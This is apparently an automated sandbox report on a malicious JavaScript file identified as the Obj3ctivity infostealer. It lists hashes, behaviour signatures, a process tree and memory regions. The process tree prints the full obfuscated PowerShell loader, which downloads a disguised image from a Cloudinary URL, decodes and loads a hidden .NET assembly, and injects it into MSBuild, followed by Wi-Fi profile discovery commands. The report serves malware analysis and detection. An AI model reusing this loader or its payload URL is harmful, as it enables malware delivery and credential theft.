Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/02/2025, 21:37

General

  • Target

    Enquiry-Dubai.js

  • Size

    176KB

  • MD5

    acedc7bdca0d19b982bcf030c73599ed

  • SHA1

    dc39301e166c50e7d9ac8128135a2370254d52c8

  • SHA256

    944c7070cb77d937c9bae8c30a367b1c15b2f8951329cdb64d4b02a5e145ea44

  • SHA512

    3b4b5ad27169fd67b52625c43bad6d62c01981e5c79cdff540f825456fe098568c5078b18eb2056bc7140ea5da9689135d6976ff4039dbaa74e85c4ea3c0c341

  • SSDEEP

    1536:UgOYlGWHi69D3fO2pKAfsj5zRDzRnmZ6xE7EyxsZ0gaY9uBc4q0F5v5FKMUBYWOe:LOYcWHN9jO2pF4l96g3uBu0XRlcT

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1738334533/alcb4htolzvfhzzufqh5.jpg

exe.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1738334533/alcb4htolzvfhzzufqh5.jpg

Signatures

  • Detects Obj3ctivity Stage1 1 IoCs

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Obj3ctivity family
  • Obj3ctivity, PXRECVOWEIWOEI

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Enquiry-Dubai.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$originalText = '#x#.222/selif/#en.salij//:p##h';$restoredText = $originalText -replace '#', 't';$imageUrl = 'https://res.cloudinary.com/daxwua63y/image/upload/v1738334533/alcb4htolzvfhzzufqh5.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = [ClassLibrary1.Home].GetMethod('main').Invoke($null, [object[]] @($restoredText,'false','MSBuild','false'))"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2508
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
          PID:1724
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:2184
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
            4⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:4428
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1044
            • C:\Windows\SysWOW64\netsh.exe
              netsh wlan show profile
              5⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:3080
            • C:\Windows\SysWOW64\findstr.exe
              findstr All
              5⤵
              • System Location Discovery: System Language Discovery
              PID:5084
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2444

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ouuebae.2jb.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2184-25-0x0000000005750000-0x00000000057B6000-memory.dmp

      Filesize

      408KB

    • memory/2184-81-0x0000000007C00000-0x000000000812C000-memory.dmp

      Filesize

      5.2MB

    • memory/2184-59-0x0000000006AE0000-0x0000000006B56000-memory.dmp

      Filesize

      472KB

    • memory/2184-49-0x0000000006E50000-0x0000000006EE2000-memory.dmp

      Filesize

      584KB

    • memory/2184-45-0x0000000007120000-0x00000000076C4000-memory.dmp

      Filesize

      5.6MB

    • memory/2184-27-0x0000000006070000-0x0000000006232000-memory.dmp

      Filesize

      1.8MB

    • memory/2184-21-0x0000000000400000-0x00000000004E6000-memory.dmp

      Filesize

      920KB

    • memory/2184-26-0x0000000006540000-0x0000000006552000-memory.dmp

      Filesize

      72KB

    • memory/2508-18-0x00007FF947DB0000-0x00007FF948871000-memory.dmp

      Filesize

      10.8MB

    • memory/2508-24-0x00007FF947DB0000-0x00007FF948871000-memory.dmp

      Filesize

      10.8MB

    • memory/2508-20-0x00000200440B0000-0x00000200440B6000-memory.dmp

      Filesize

      24KB

    • memory/2508-19-0x00000200440A0000-0x00000200440B2000-memory.dmp

      Filesize

      72KB

    • memory/2508-6-0x00007FF947DB3000-0x00007FF947DB5000-memory.dmp

      Filesize

      8KB

    • memory/2508-17-0x00007FF947DB0000-0x00007FF948871000-memory.dmp

      Filesize

      10.8MB

    • memory/2508-7-0x0000020043C30000-0x0000020043C52000-memory.dmp

      Filesize

      136KB